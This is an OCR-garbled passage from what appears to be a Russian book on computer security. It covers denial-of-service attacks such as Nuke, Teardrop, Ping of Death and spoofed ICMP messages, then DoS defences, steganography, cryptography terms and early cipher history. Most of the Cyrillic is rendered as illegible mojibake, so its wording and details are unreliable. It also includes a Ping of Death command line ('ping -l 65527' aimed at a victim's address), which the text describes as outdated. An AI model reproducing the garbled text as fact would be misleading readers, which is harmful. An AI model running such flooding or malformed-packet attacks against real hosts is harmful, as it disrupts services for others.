CnoBo «Nuke» Ha aHrIMICKOM f3BIKC O3HAYACT «AACPHOC
opyxme». Ataka Nuke (Wim «HIOK» 10 YCTOSBIICHCS TEPMHHOIOTHHE)
cocromt B crenytomeM. B cersx TCP/IP mnst iposepk# PyHKIHOHR-
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{'ONIHHA KOMITBEIOTEPOB NpHMEHsAETCA npoTokoa ICMP, npo koTopsii
i yxe He pas ynomuHamd. Ilpyu Bo3HHKHOBEHMYU B CETH KaKoiH-11G0
onnOka GyHKIHOHHPOBAHHS — OOPHIBA COSAMHEHHS, HEAOCTYIHO-
(11 JIMHVH CBA3H M T. TI. — TIPOHCXOIUT, TEHEpaums COOGeHMs
I'MP, BCreA 3a KOTOPHIM BHINOIHAIOTCS ONPEACICHHBIC ACHCTBHA,
MIPUMED, NIEPECTPOHKA MAPIIPYTH3ALMH CETH HCKIIOYCHHEM M-
nin CBA3M U3 Tabmuisl MapmpyTusaumy. OXHOBPEMEHHO pa3phIBa-
el BCE MOAKIIOUCHAS ¢ KOMIBIOTEPOM, CTABLIMM HEAOCTYIIHEIM.,

Ha 3T0M-TO H CTPOHTCH pacdeT Kpakepa — IOCIHaB KOMIIBIO-
wpy A, HOAKTIOYEHHOMY K KOMIbIOTEpY B, coobmenue, 9to KoM-
nuorep B axobs1 HEAOCTYNIEH, MOXHO pEpBaTh COCMHEHNE.

DBONBIMMHCTEO CYIHECTBYIOHIUX CEYAC «HIOKOB» HECIIOCOOHBI
npoOHTH 3aIMUTY OHEpalHOHHbIX cucteM Windows 2000/XP, 1o mo-
'V YCTICHIHO NIPHMEHSTHECH NS BEIBOAA W3 CTPOS KOMIBIOTEPOR C
sCPAUIOHHBIME cucteMamu Windows 9x.

3.2. Arvaxu Teardrop.
Araka Teardrop 3aKIIOYacTCs B OTCHUIKE HA ATAKYEMEIH KOM-

(e MAKETHl ¢ HEKOPPEKTHO YCTAHOBACHHBIMHA NAPaMETPaMH Ha-
wana v AHHE pparMerToB. Kaxapiil maker NO3MIHOHUPYETCS B TIa-
s JIBYMSI BETMUMHAMM — CMEINSHHUEM (PparMeHTa OT HAYAA H
ol parMenTa. DTH BEIHUTHHB IEPECEUIAIOTCA BMECTE € CAMEM
nancIoM Ha KOMIIbroTep-nonyyarens. Ilapamerpsr makera noadupa-
#oon BITOMINKKOM TakuM oOpasoM, urobs mpu cOopke dparMenTsr
' eeCKIIHCH B aMaTH. Ecmi mporpamma, 3anaras c60pxoil nakeros,
e FACCYMTAaHa HA 0OpabOTKY HCKAXKESHHBIX BENMYMH CMELICHHS M
it (ParMeHToB (a 3TO BO3MOXKHO H3-32 HEACHYETOB B IPOrPaMM-
Him 0OCCHIEUEHHH), TO BO3MOXKEH COOM paboThl CHCTEMBI.

Jroi arake ObUTH MOABEPXKECHHI DAHHME BEPCHH CHCTEMEI
Wandows, smogas Windows NT 4 6e3 ycTaHOBICHHBIX CEPBHCHBIX
HIWECTOB.

3.3. Araka Ping of Death.

CymecTayior ABa BapuanTa peanusamuu 31oi araku. Ilo nep-
wonmy, ataka Ping of Death (CmeprosocH®I# IMET) COCTOMT B OTCHI-
ke 1l KOMIBIOTEP-KEPTBY CHIIBHO (DParMEHTHPOBAHHOrO MAKETAR
HMI? (axcasiit parmeHT pasmepom He Gonee 1K6), nprdem o6muii
juvincp 1aKeTa TPEBHINACT MAKCHMAIBPHO JOMYCTHMBIN s MaKera
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ICMP, 1. e. 64 KGaiir. [Tocne cOopru nakera OnepallHOHHAS CHCTEMA
JomkHa o0paboTaTh HEKOPPEKTHHIEC JAHHKE, YTO, BCICACTBHG OIIM-
6ok mporpamMmMUpoBaH¥s, NPHBOIMT K c¢Gor0 cucrem Windows pas-
HHX BEPCHH, 2 T3IOKC KOMIBIOTEPOR ¢ cucreMamu OS UNIX.

Mo sropomy BapuaHTy, JaHHYIO OIIAOKY MOXHO BHI3BATL OT-
npaskoi xomanmsl ping ~1 65527 IP-agpec xepreei. Yucio 65527
6sut0 BHIOpaHO Ui NPEBBULCHHS pasMepa nakera Ha 20 Oalir
(65527+204-8-65535=20).

D1y aTaxM OTHOCHTCH K NPONUIOMY M He paboraior B coBpe-
MEHHBIX ONCPALHOHHBIX CHCTEMAX.

4. Araxp danscuprmypoBaHHEIMY_ CCTEBRIMM _[IAKSTAMH —
HCKAKAH CCTCBLIC HAKSTHI, KPAKEp MPHHYKZACT KOMIIBIOTED H3Me-
HHTH CBOIO KOHQWIVPALMIO MM H3MCHACT COCTOSHHE aTaKyemol
KOMIIBIOTEPHON CHCTEMBI, 9TO CHIDKACT €€ MPOM3BOIHTENFHOCTD WK
NPHBOXUT K HEKOPpexkTHOH pabore KOMOBIOTEPOB.

BoofBme-10 paccMarpusas araku «Nuke» MBI CTATKUBANKCH C
araxoH, DpHBOAAICH K HCKaxkeHHIO paboThl CETH HIM KOMIBIOTEPa
— BEOE KNaccuueckas ataka «Nuke» Xak paz M 33KIIOMACTCH B Pas-
pHIBE COCHMHCHWM ¥ HCKAKCHHE TablMI MapmpyTH3alMU CeTH.
Hpyrue araxu DoS danscudruupoBasHeIMi CCTCBEIME TIAKCTAME
EBITIONHAIOT IPHMEPHO T¢ K€ QYHKIMM, NPHICM O9€HP YaCTO ¢ MC-
TONE30BAHUSM NpoToKona ICMP.

Koporko onuineM 3TH ataks:

~— Ilepesanmpasnesme Tpadmxa —  pacceras  ICMP-
coobmenns Redirect (Tlepenanpanurs), TpeOyromme usmenurs tab-
THANBI MAPINPYTH3ALHE CCTH, KPAKSp MOXKET Pa3pyIuHTh BCIO pabory
CETH, TIPH KOTOPOH TIAKSTH! YXOJAT B «HUKYAA» HIH NCPCXBATHIBA-
FOTCS KPAKSPOM.

— HapsopiBaHue JUIHHHOM CCTCBOM MACKH — I[CpPEAaBas
ICMP-coobmenne Address Mask Reply (OtBer Ha aapecHyio Mac-
KY), KPaKep MOXET H3MEHHMTE MACKy CETH JTH JAHHOTO KOMIBIOTEpa
TaxuM oDpa3’oM, 910 MapHIPYTH3ATOP CETH OKAKETCH BHE €10 «ITOJA
3PCHEA».

~ Cépoc TCP-coeauHeRMA ~—— ITOT BAPHAHT ATAKY MBI U Pac-
CMOTpEJH, KOTHA roBopwid o0 araxax «Nuke» — kpakep, nOCHaB Ha
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avaxyemsii kovmerorep ICMP-coobmenue Destination Unreachable
({cnp HEXOCTYNHA), PA3PHIBAET €TI0 CBA3D C CEPBEPOM.

— JaMEAICHHE CKOPOCTH HEPELaT JAHHEIX — IOCHIAS SKO-
Dl OT AIMSHH TPOMEXYTOUHOTO Mapmpytuzaropa ICMP-coobmenue
Source Quench (3aMennHTs HCTOYHHK), KPAKep MPHHYMKIAET KOM-
HLIOTEPS! CHU3UTS CKOPOCTE NEPESAAYHN JAHHBIX. 1aKOH e Pe3yIIbTaT
monceT OBITh Tony4ueH npu ormpaske ICMP-coobmenus Destination
Ireachable: Datagram Too Big (Llems mexocrymma: mararpasivia
CIHIEKOM BCIHKA).

Kax sHIOuM, B OCHOBHOM s OpraHmsaimy artak DoS npume-
wicres iporokon ICMP. Oxmaxo cnegyer yuects, 410, Brajes 3Ha-
isME 00 3TOM TIPOTOKOIE, KPAKep MOXET DONYHUTh ropasio Goms-
e TOME3EL, ©CITH MPDHMEHHT WX JIg AOCTEDKCHUS npyrux, Gomee

HIOAOTBOPHBIX NECH, YEM AN NPHYUHECHHS MEIKHX M CPEAHUX ra-
10CTCH CBOHM CETEBRIM COCEAIM.

Samprra o1 arax DoS.

Kax Bam wu3sectHO, W3 myOnmxammii CPEACTB MAaCCOBOM HH-
JopMalME Ha OKONO CETEBYIO TEMATHKY, atakd DoS — 310 Gexcr-
niC HbIHEINHETO BUPTYAIEHOTO MHPA, HPUBOMIIIHE B Xa0C MOIIHBIE
MLIMHCIMTEIRHBIE CHCTEMKB. bopsba ¢ HuMmH yenoxasercs eme H
1M, O BCC 2TH aTaKH ITOYUAC HEBO3IMOMKHO OTPAa3UThL MHAC, KPOME
“at JAKPHITHEM BCEX CETEBBIX COSNMHCHMH aTakOBAHHOTO CEPBEpa,
110 OMEHB HACTC HENPHEMIICMO O (DHHAHCOBHIM COOOPAKEHHSIM.
lanaCT BRITOMHEE YBCHHYMTE MOIIHOCTH KOMIbIOTCPHOM CHCTEMEL,
sonncpKeHHOM ataxam DoS, wem 3axpeiTe x Hell JOCTYH ¥ OCTaHO-
s paBory, Hanpumep, BeG-cepsepa dupmst. Pacuer saecs crpont-
1 1 MCTOMICHHE PECYPCOB aTaKyrOHIEH CTOPOHBI, KOTOPOH IpocTo
wC VJIACTCH TPEB3OHTH pecypesl cepsepa. [{pyroe BAXXKHOS CPeACTBO
ANITHL — TIEPEXO[ HA COBPEMCHHBIE OICPALMOHHBIC CHCTEMBL M
npOrPAMMHEOE 00ECHIEICHHE, KOTOPOS <OCBEAOMIICHO» O MOCHSAHHX
s ohpeTeHESX 110 yacTy arak DoS.

XopommMm cpeacTsoM orpanuuesng sdgdekrusrocTa atax DoS
CnyOKMT NPABAMLHAN HACTPOHKA BPEMEH ONHAAHUSA M MOLACPMKU
cocncarif. HYeM MCHbINC 3HAYECHMSA ITUX BPEMEH, TeM Meuee 30-
{n wriBHBL Kpakepokue ataky. OZHAKO CHMIIKOM MAJIOC BPEMs OXH-
sui CACTAET CEPBEP HEAOCTYIHBIM Ui KIIMCHTOB, MOAKIIOYCHHBIX
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€ NOMOMBI0 HU3KOCKOPOCTHOrO KaHana. MHorne CoBpeMeHHEBIE 1po-
rPAMMHBIC ¥ aNNAPATHHIC KOMILIEKCH MOTYT aBTOMATUYECKH PacHo-
3HaBarth (pakT Havana araxy DoS ¥ IpHHUMATE MEPI K CHEDKSHMIO €6
TSOKECTH. YMEHBINATh BPEMS MPOCTOSA M MNOATBEPIKACHHA COC/HHE-
HMS, YBEIHYUBATE BpeMs OIOKHPOBKH H T.IL.

Oanaxo Bce 5TO MOXET HE YCTOSTh nepen arakoit DDoS —
KPaKkep, OBNANECBIIMH TAKHMH CPCACTBAMH, MOXET CTaTh BOHUCTHHY
BCCMOTYIIHM, MOCKOJNBKY HET TAKOro CEpBEpa, KOTOPbIH MOr 6bl ye-
TOSTh NEPE/T ATAKOH, HAYIIEH CO BCEX CTOPOH 3EMHOTO II2pa ¢ HEOT-
peaenenHo GoNbIICro Yucna KoMbioTepoB-30MOH. Taxue ataku Tpe-
Gyror ocoboro noaxona. Bmecto HaCTPOHKHE CHCTEMbI 3aIIMTH CeEp-
BEPa, YCHIICHHS PECYPCOB NOABEPAKECHHOTO aTAKaM KOMITBIOTEPA, T. €.
BCErO TOrO, 4T0 MOANAJAET NOJ ONPEICICHHE <«IIACCHBHOM 000po-
Hbl», CIENMMAIHCTH B 00NacTH CeTeBOil OE30MACHOCTH MpEIaraioT
NPHMEHATh MEPH aKTHBHOM 000poH:!. B orser Ha araky DDoS, wc-
TIONL3YIOMEH COTHH H THICAIH «30MOHM», OHH PEKOMEHIAYIOT CAMOMY

NEPEHTH B HACTYIUICHHE M 3armymuTh pabory «3oMOu» BCTpeuHOi
aTaKoM.
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I'JIABA 8.
Kpunrorpadus u coxpbrrae ungpopmanuu,

Kax 8ot yxe yOemwinch, CymeECTBYeT OrPOMHOE KOMHIECTBO
¢n0cobOB nonmydeHus goctyna K uHpopmaumm. Jna HamexHo# 3a-
NUrTbl BAOKHBIX JAHHBIX UX CICAYET mudpoBaTh WIH IPSTATH.

B npusimne, 3aech xoMobloTepHAs HMH(GOpPMALMA HUYEM HE
(UIMYAETCH OT ITHCEM, TENErPaMM HIM TEICpOHHBIX IIEPErOBOPOB.
Henomb3yIOTCS TE 7K€ MPHHIAIL, HO C Y4E€TOM CHeLM(HKH KOMITBIO-
1))l ¥ IPHHLMIIOB XPAHEHNA B HeM HH$oOpManuH.

CoxprpiTne undopmanun

Yem Gonpmue 3MOYMBIILICHHUKY H3BECTHO 00 HHTEPECYIOmEH
vo urtdopmanuy, TeM npowe emy ee nonyders. Hanpumep, ecrm
NPCANONIATaeTCA TEPeXBaTHTh JIOKYMEHT, TO Iporpammy-cHudep
IICTPOST, CKOpEE BCEro, Ha mepexsaT ¢aiiioB ¢ pacimupeHHIMMA
*doc, *.txt wm *.rtf. Camerit ipocToii ciocod 60ps0E! ¢ mepexearom
# TOM ClTydae — IpocToe nepenmenosaunue ¢aiina. Ects u gpyrue,
w1eC HAIEHKHBIC, METOABI — HMMH 3aHAMACTCA OTACTbHASA HayKa —
¢ reranorpadus.

CreraHorpapus — Hayka O METoHax COXpeITHS (pakra OT-
npanka HGOPMAIHH UM €€ HATHIMI HA HOCHTENE. -

K knaccudeckuM BuiaM creraHorpaduu OTHOCATCS:

— Hcnonp3oBanye cumMnaTHdeckux YepHil. CHMIATHUCCKIMH
‘W UMIAMH HA3BIBAIOT GCPHHINA, KOTODHIE HE SHAHBI Ha Oymare.
110l HPOYHTATL TEKCT €ro HeOOXOAMMO OCBETHTH yubTpaduone-
"nLIMH JTy9aMH, 00paboTaTh CICHHATPHBIME XMMHKATAMM M T.I1.

~ COKpBITHE CHMBOIIOB CEKPETHOTO TEKCTA CPCAM OOBIYHOrO
wnera. TIpocreHimuit cnocod COKPHITHS CEKPETHOTO TEXCTa CPefH
HOMHOrQ — aKPOCTHX, KOTAA CKPHIBAEMBIH TEKCT CKIIAIBIBACTCS H3
wruuibHBIX OyKB cOBEpmeHHO 6€300MAHOro TeKCTa. ANrOPHIM BhHI-
(s OYKB, KOTOPHIE HYXKHO IIPOYECTD, MOXKET ObITh G0IEE CAOKHBIM,
" 1o1i@ HAHTH CEKPETHOE IMOCTIAHUE BHYTPH TEKCTA, HE 3HAS 3TOro
nropuT™Ma, OyAeT HaMHOTO TPYAHEE.

Ipumep Takoro akpocruxa — Xora Asapuitnsiii Kanan Eme
Pabwnacr. .. Hecroxkno aorasarses, 9T0 COPSTaHO CIOBO «XAKEP».
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— Wcnons3osanue muxpotdororpadun. Ilepen sropoit MupO-
Boit BoiiHOM B I'epmanum 6vuta paspaborana mukpodororpadute-
CKas TEXHHMKA, KOTOpas HO3BOJIUIA B pasMepe oORYHOM MEUaTHOH
TOYKH Pa3MECTHTh LENYI0 MAIMIMHOMNMCHYIO CTpauuuy. Oramdurs
TAKYI0 «TOUKY» OT OOWHYHOMN TOYKHM IPOCTHIM TJIA30M HEBO3MOXHO.

B TexHuKe EKTPHYCCKON CBA3HM UCIIONB3YIOTCS, B OCHOBHOM,
CNEAYIOUIHE METOAR! cTeranorpadum:

— Tlepenaya cHrHanoB Ha IUIABAIOLICH JACTOTE.

— CuabHOS HCKKEHHME CIIEKTpa CHrHAla IpH NEpeAade ¢ no-
CIEAYIOUIHM BOCCTAHOBJIEHHEM €r0 IIPH npueMe (Tak paboTaior ycT-
poiicTBa [ CEKpETHOH Tene(oHHOH CBA3H, Ha3BIBACMBIC BOKOJACPA-
MH).

— BxIIOYEHHE HMITYJIBCOB, KOAHPYIOIHX CEKPETHBIH CHIHAJ,
B OOBIMHYIO TEKCTOBYIO MIM MY3BIKaIbHYIO nepeaady. Ha ciyx takuc
HMMITYJIBCH BOCIIPHHUMAIOTCS, KaK HEOONBIIAE €CTCCTBCHHBIC MOME-
XH.

K MeTo1aM KOMITBIOTEpHOM cTeraHorpaduy MOXHO OTHECTH:

— Hcnons3osanue i 3amicH HEQOPMALIMM JOPOXKEK HA JUC-
KE, KOTOphIe He (POPMATHPYIOTCA H, COOTBECTCTBEHHO, HE HCIONL3Y-
FOTCSl OOBIYHBIMM OTICPAMOHHBIMH CHCTEMaMM.

— 3ammcs uHQOPMAIMH B KIACTEPH, KOTOPHIC 3aTEM MOMEYa-
IOTCA KaK TUIOXHE ¥ HE BOCTIPHHMMAIOTCS CTAHJAPTHRIMH CPEACTBA-
mu OC.

— 3amuch ckpriBaeMoii MHGPOPMAMH B KOHLE HE IIOMHOCTHIO
3aNOHEHHOTC KIIACTEPA.

— CoKpHTHE CHMBOJIOB CEKPETHOrO COOOIIEHMA B HETEKCTO
BoM (aitie: npOrpaMMHOM, rpaHIecKoM, COACPKALIEM AyAHOMH
(dopMaIpIo U T. II.

Kordunenupnansuas wedopmarms Moxer ObITE CKpHITa I
daiinax, coaepxammux 100y10 Oe306uHYI0 HHPOPMAMIO, KAK TCK
CTOBYIO, TAK ¥ HETEKCTOBYIO. Daii, B KOTOPOM CKpEITA KOH(HAEH
nuanbHAs MHpOpMaIms, 0ORYHO HA3HIBAIOT KoHTEHHepoMm. Ecmm n
KaJecTBE KOHTCHHEPA NCNOMb3yeTcs TeKCTOBOHM daiin, Jus COKPhITH
HHGOPMAIMY KCTIONB3YIOTCH TE JKE METOJbI, YTO M [ COKPHITH:
CEKPETHBIX COOOUICHHH B 00bIMHOM TekcTe. OHAKO HAMMYME KOM
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NLIOTEPa IIO3BOJIET MCNONB30BaTh 0ONEE CIIOXKHEIC ANTOPHTMEI AT
nmu6opa Oyks M3 TEKCTa, 4eM NP Py4HOii paboTe.

Hamuoro Gonpime BO3MOXKHOCTEH NPEROCTABIAECT MCHONB30-
naupe rpadHUeCKUX H 3BYKOBHIX (aiinos. Paiin, copepxamuii oxus
CHAHAAPTHBIM  TENEBH3HOHHBIH KaJgp, HMeeT O00bEeM IOpAAKa
2.3 MGatita. B Takom daitne moxso cnpsrars oxono 300 Koaiir un-
popmarmmn.

Bce nepeuncnennbie Buime cocoOk COKPHITHA HH(pOpMaIpM,
W MCKITIOUCHHUEM COKPHITHS KOHGHICHIMATHHOH HHGOpMan|H B OT-
KPBITEIX HETEKCTOBHIX (paiinax, BCKPHIBAIOTCA OUCHb JICFKO M MOTYT
Ot UCIIONB3OBAHBL TOMBKO TOTAA, KOrAa MPEATIONaraeMblii IIPOTHB-
NHUK 3aBEIOMO HE OXKMIAET HAJIMYHS HA HOCHUTENE CKPHITOM HHGOp-
miwH, 60 Toraa, xorja uHGpopManus CKprBaeTCs OT HekBaymdn-
IWPOBAHHOTO MONE30BATE/IA.

B Hacrosmee BpeMs KOMIIBIOTEPHAs CreraHorpadus, Tax xe,
RIK M KpUITTOrpaduis, Hauana IPUMEHATHCH U HOATBEIKACHUS
nojmHEOCTH HHbOpMarmH. Pupma Digimark paspaborana TexHo-
IIOPHIO, TIO3BOJIAIOMYI0 KOMIAHHAM pasMemaTh Ha U300paKeHUIX,
pimemaeMerx B VnTepHere, cnoenpanbHbIE METKH, HACHTHOUIH-
|'VIOIHE HMX COOCTBEHHOCTb. OTH METKH, NPOHUKAA B IUGPOBHE
1100paKeHNA, OCTAIOTCA HEBHAMMBIMH JUIA I1a33, HO PacrO3HAIOTCA
¢ HCLHATBHBIME TIPOTPAMMAMH.

Ho ecim xpakep 3uaer, rae uckars wHPOPMANHIO, H KK OHA
CuUpATaHa, TO METOAB creraHorpaduu eMy HE noMemaior. YrobOwi
MIKCHMAJTIBHO 00E30MacHTh JAHHBIE HX clieayeT 3amudposars. ITHM
unHUMAeTCH ipyras Hayka — Kpuororpadus.

Kpunrorpadus (raiinomuce cpew.) — Hayka O CO3ZAHHH
nminpos 1 MeToaax muppoBanus uaGopMarHM.

OCHOBHEIE TEPMHHEI:

— muppoBanne — NPOUECC IPEOOPa3OBAHHA OTKPHITOrO
1CKCTA B HCKKCHHYIO GopMy — mH(pPOTeKCT;

~ pacmudpoBanue — nponecc npeodpazosanus mubpoTex-
¢ 13l B OTKPHITHIH TEKCT;

— Aeuin¢poBaHME — IPOLECC «B3IOMA» MUPPOTEKCTA C Le-
1110 NOTYYCHYIA KJTIOYA,

— xpunTorpad — IHIO, 3aHHMAIOMEECH KpunTorpabuei;
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~ KPHIOTOAHAJIH3 — HAyKa O METoZax AcmmdpoBaHMA HH-
Gopmarnmi;

— KPHUOTOAHAJUTHK — JIMI0, 3AHUMAIOMEECH KPHITOAHAIM-
30M.

~ KPHOTOJOTHS — Pa3fen HayKH, OObeIMHAIONME KPUITO-
rpaduI0 1 KPHITTOZHAITA3.

K ocHOBHBEIM 3aaauaM Kpunrmorpaduu oTHOCATCA:

1. llludposanue (obecnedenye KoRMHACHNHANLHOCTH) —
pelueHue npoOneMsl 3amKTH HHGOPMAMH OT O3HAKOMIICHHA C ce
COAEPAHMEM CO CTOPOHEBI JIXLI, HE HMEIOINHX TIPaBa AOCTYNA K HEH.
B 3aBHCHMOCTH OT KOHTEKCT4 BMECTO TEPMMHA «KOH(pUACHIMANL-
Has» UH(OPMALMA MOTYT BRICTYIATh TCPMHHBI «CEKPETHAN», «3aCT-
Has», «OrPAHHYCHAOrO AOCTYNa» HAGOpMAITUAL.

2. OGecnieuenne LEAOCTHOCTH — TIapaHTHPOBAHME HEBO3-
MOXHOCTH HECAHKIMOHHUPOBAHHOrO w3MeHenus wH(popmamum. st
FapaHTHH LEJIOCTHOCTH HEOOXOMMM MIPOCTOH M HAACHKHBIM KpHTEpHi
oOHapy»eHust JHOOBX MaHHNIyIAIWM ¢ JaHEsiMA. MamunymsmM ¢
JAHHLIMH BKJTIOYAIOT BCTABKY, YAAICHHE H 3aMCHY.

3. Obecnieuenue ayrenruduxaunu -— paspaborka MeToxOB
MOATBEPXKACHHUA HOATHHHOCTH CTOPOoH (uAeHTH(WKAIMA) H camoli
unopmaimy B npouecce HHGOpMANOHHOrO B3auMoaercTend. Hn-
dopmars, nepegaBacMast 1O KaHATY CBS3M, JODKHA OnTH ayTeHTH-
GMIKpPOBaHA IO MCTOYHMKY, BPEMEHH CO3JAHMS, COACPIKAHMIO JiaH-
HBIX, BPCMCHH ICPECHIUTKH H T. 4.

4. Obecneyenne HeOCHOPHMOCTH (HEBO3MOKHOCTH OTKA3A
OT ABTOPCTBA) -—— NHPESAOTBPAIMCHUE BO3MOXKHOCTH OTKa3a Cybmex
TOB OT HEKOTOPHIX U3 COBCPINCHHBIX MM JICHCTBHH.

- 1
Hcropuyecknii 3Kckype

Ucropua kpunrtorpadmy HaCUMTHBACT HE OJHO THICAYECTIECTHC
Vke B MCTOPMHECKHX NOKYMEHTaX APEBHHMX LHMBHIM3Aimii — Wi
anu, Eranra, Kuras, Meconoramuy — HMEIOTCS CBEJEHHS O CHCTIC
Max ¥ cnocobax cocrasneHus mMGPOBAHHOIO NHMCbMA. Bummmo,

! . mo: Andepor A.TL, 3y6os A.JO., Kyssmun A.C., Yepemynmani A1}
OcHoBpl xpurrrorpadus. M., 2002.
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HCPBBIE CUCTEMB IMH(POBaHMS NOABUIMCH OJHOBPEMEHHO C
NHCHMEHHOCTHIO B YETBEPTOM THICHICICTHH A0 HALICH DPbI.

B mpeBHEenHAMACKIX PyKOMUCSX NPHBOAATCA GOee MECTH C-
CNTH CHIOCODOB MHCbMA, CPeM KOTOPHIX €CTh M TAKHME, KOTODHIE
MOXKHO paccMaTpPHMBaTh Kak Kpunrtorpaduieckue. Umeerca onucanue
CHCTEMBI 3aMEHBI INIACHBIX OYKB COracHNIMM, B Haobopor. OauH u3
COXpaHMBIIMXCS MuDPOBaHHBIX TEKCTOB Meconmoramum mpeacras-
useT coBokt TabnuiKy, HANHMCAHHYIO KIMHONMCHIO M CONEPKAIIYIO
pCUCHT M3rOTOBJICHHA INA3ypH M4 TOHYAPHHIX Hm3genuii. B sToMm
TCKCTE UCHORB30BATHCH PEAKO YHOTPCOIIEMbIE 3HAYKM, HTHOPHUPO-
MATHCE HEKOTOPBIC OYKBHI, yHOTpeOmsiucs mudpsr BMECTO mMeH. B
pyxonucsax Jipesnero Ernmra mxgposaimch peUriuo3Hee TEKCTH B
meaumuunckre peuental. IIndposanue ucnonbsosanocs B buGmun.
lHekoropeie dparmenTs GuGnelickax TekcToB 3amKdpPOBaHHI ¢ TO-
mowpio mudpa, KoTopeii HaswBacs arbam. [lpasuio wudposanus
COCTOANIO B 3ameHe i-if Gyxsrt andasura (i = I...n) 6ykBoit ¢ HOMe-
pom n—i+1, rae n — uucno Gyks andasura. [TpoucxoxucHue cnopa
arbam 06BACHEETCH MPHHIMIOM 3aMerbl OykB. DTO CIOBO COCTaB-
neuo u3 6yxs Aned, Tae, ber u ITlun, 1o ecth nepsoit u nocneaneit,
nTOpoi B mpeanocneaHei Oyks APEBHECEMUTCKOrO andaBuTa,

Passurimo xpurrorpadus crocoOCTBOBaN NEPEXOR OT HAECO-
1 PaHIECKOro MHCHMA, OCHOBAHHOIO HA MCHOJB3OBAHHH OIPOMHOIO
wmcna uepormupoB, kx GoHeTHacckoMy mUckMy. B mpeBHEM ceMuT-
vkoM angaBaTe BO BTOPOM THICAYEICTHH 10 HAUIEH 3pw GBUIO yxe
W) sHaxoB. IMH 0603HAYaMCh COrMIACHBIE 3BYKH, A TAIOKE HEKOTO-
[MC TIACHBIE M CJIOTH. Y IPOMICHHE NHMChMA CTHMYIIHMPOBAJIO pa3Bu-
e Kpurrrorpagu.

B Jpesneii I'pemyn xpunmorpadua yxe MUPOKO MCMONb30Ba-
mCh B PA3HBIX 001acTAX NEATEINBHOCTH, B OCOOEHHOCTU B rocyjap-
crucHHOH cepe. Ilnyrapx coobmaer, 4To Xpeusl, Hanpumep, Xpa-
mum B hopme TaitHomucH ceom npopuianng. B Crnapre 8 V-1V Bs.
0 H. 3. HCTIONL30BAJIOCh OJHO M3 NEPBLIX MH(PPOBATBHEIX MPHUCIIO-
vobnennit — Cumrrana. 310 OpuI 2Ke31 HHAPEYecKol GopMeL, Ha
XOTOPHIM HaMaTeiBANaCh JIEHTa meprameHTa. Kpome xe3na mormm
NCIOTIB30BAThCA PYKOATKM MEYCH, KMHKAIOB KOonuil ¥ T.4. Baons
0CH IWTMHPA HA NEPTaMEHT MOCTPOYHO 3aIUCHIBAICH TEKCT, NPEX-
WISHAYEHHBIN 11 nepenadn. Tlocne 3anwcH TekcTa JICHTa CMaThiBa-
#1Ch C JKE3NIA U MEPEAABaNACh AAPECATY, KOTOPHIE HMENI TOYHO Ta-
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kyr0 xe Cuprany. fcno, 9o Taxoii criocod mudposaHHs OCyImECTB-
511 nepecranoBky Oyke coobmenus. Kmogom mudpa cayxur aua-
merp Cuurams. M3Becten Taioke H METOX BCKPHITHA Takoro mudpa,
npunuceiBacMeiit Apucrorenio. Ilpeanaranoce 3aTo9dTe HA KOHYC
JUIMHHBIHA Opyc #, 00epHYB BOKPYT HErO JIEHTY, Ha4aTh CABHraTh €€
IO KOHYCY OT MAJOro zuamerpa Ao camoro 6omsmoro. B Tom Mecre,
rJ€ JuameTp KoHyca coBmajan ¢ auamerpoM Cumranbl, OYKBBI TEk-
CTa COYETANWCh B CIOTH H cnosa. Ilocie 3Toro ocraBanoch JHMIIb H3-
TOTOBUTH LWIAHAD HYXHOTO JUAMETPa.

Hpyrum mudposansHeiM npucnocobiaenneM spemen Cnaprsl
6rina Tabnuuxa Jxes. Ha weOonemmol Tabiimuke rOpH3OHTAIBHO
pacnonaraics aipasuT, a o e¢ OOKOBHM CTOPOHAM MMENHCH BHIEM-
KM Juis Hamareisanug Hury. [Ipu mudposanuy HUTE 3aKperuIsIach y
OAHOH K3 CTOPOH TabmuyKK ¥ HAMaTsiBanack Ha Hee. Ha nury aena-
JIKCH OTMETKH (HANPHMED, Y3CNKH) B MECTaX, KOTOPHIC HAXOXHIIACH
Hanporue Oyks ganHOro rekcra. Ilo andasury MOXHO OBLIO ABH-
rarsCs NUIOb B OAHY CTOPOHY, TO €CTh ASAaTh IO OAHOH OTMETKE Ha
kaxzaom surke. Hocme mugposatns HUTH CMATHIBATACE M TICPEIaBa:
nacey agpecary. Jror mudp npeacTasaier coboi muPp 3ameHb! OyKs
OTKPHITOTO TEKCTA 3HAKAMH, KOTOPHIEC O3HAYAIM PACCTOSHHA MEXKAY
orMeTkaMu Ha HuTH. KimoduoM sBINHCE FEOMETPHMECKHE Pa3MeEphi
TabAu4Ky ¥ mOpAJOK pacmonokerus Oyks andasura. I10 Onin KO
BOJIBHO HANEKHEIA mmu(p: HCTOPHS HE COXPAHHIA JOKYMEHTOB, HIOJ)
TBEPHKAAIOHX CBEACHHA O METOLAX €0 BCKPBITHL.

I'peaccxai mucarcim [onubait HONONs30Ba CHCTCMY CHIHA
JM3ALMH, KOTOpas Obiia IMHPOKO IPHHATA KaK MeToA mrdpoBasH:.
On samaceisan Oykeei andaBuTa B KBAXPATHYIO TAOMMIYy H 3aMEHsi!
HX KOOpAMHATaMH: napamu gucen (i, j), Tae | — HOMEpP CTPOKH, J -
Homep croibua. [IpumenurensHO K JaTuHcKoMy aidaBuTy KBaZp)
Ilombns uMeer CneaAyromHil BUA:

1]2]3]4}5
1|a{BlCiD|E
2 |FlGlH|LI K
3|L{M|N]O]|P
41Qlrls|T|U
siviwlxlylz
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Mapw (i, j) mepenasanucs ¢ nomompio dakenos. Hamprvep,
i niepeAaan Oykest O HyxHO Osii10 B33Th 3 Qaxena B mpaByio pyKy
n 4 pakena -— B nesy10.

TlonoGupie mudposanbHbie MPHCHOCOOTEHNS ¢ HEBONBIHMU
" IMCHCHHAME NPOCYIIECTBOBANH JO SNOXHM BOSHHKIX 110x0x08 FOmus
llcsaps. Tlonoxenne mensercs B dmoxy pacusera Puma, koropsri
(CPBOHAYAIIBHO TPEACTABAN COOOH JHmb HeGONbIIYIO TPaKAaH-
10 o6mury. Co BpeMEHEM OH Paspoccs, NOXIUMHHB cebe CHavana
Iramuro, a 3atem u Bee CpenmseMuomopse. YroOs ynpasasTe Hame-
CVNUKAMH B MHOTOYHCICHHBIX TPOBHHIMSX, IMPPOBAHHAA CBA3b
11 PHMCKUX OPraHoB BJACTH CTaJia JKM3HEHHO HeoOxomumoi. Oco-
Y10 PONb B COXPAHEHMH TaMHBI ChIrpan crnocod mudpoBanus, npes-
nowcHubid FOmuem Lezapem u uwsnoxkedswit uM B «3anmHckax o
tnibckod Boitee» (I B. 1o H. 3.). Bor uro numer o sem Iaii Crero-
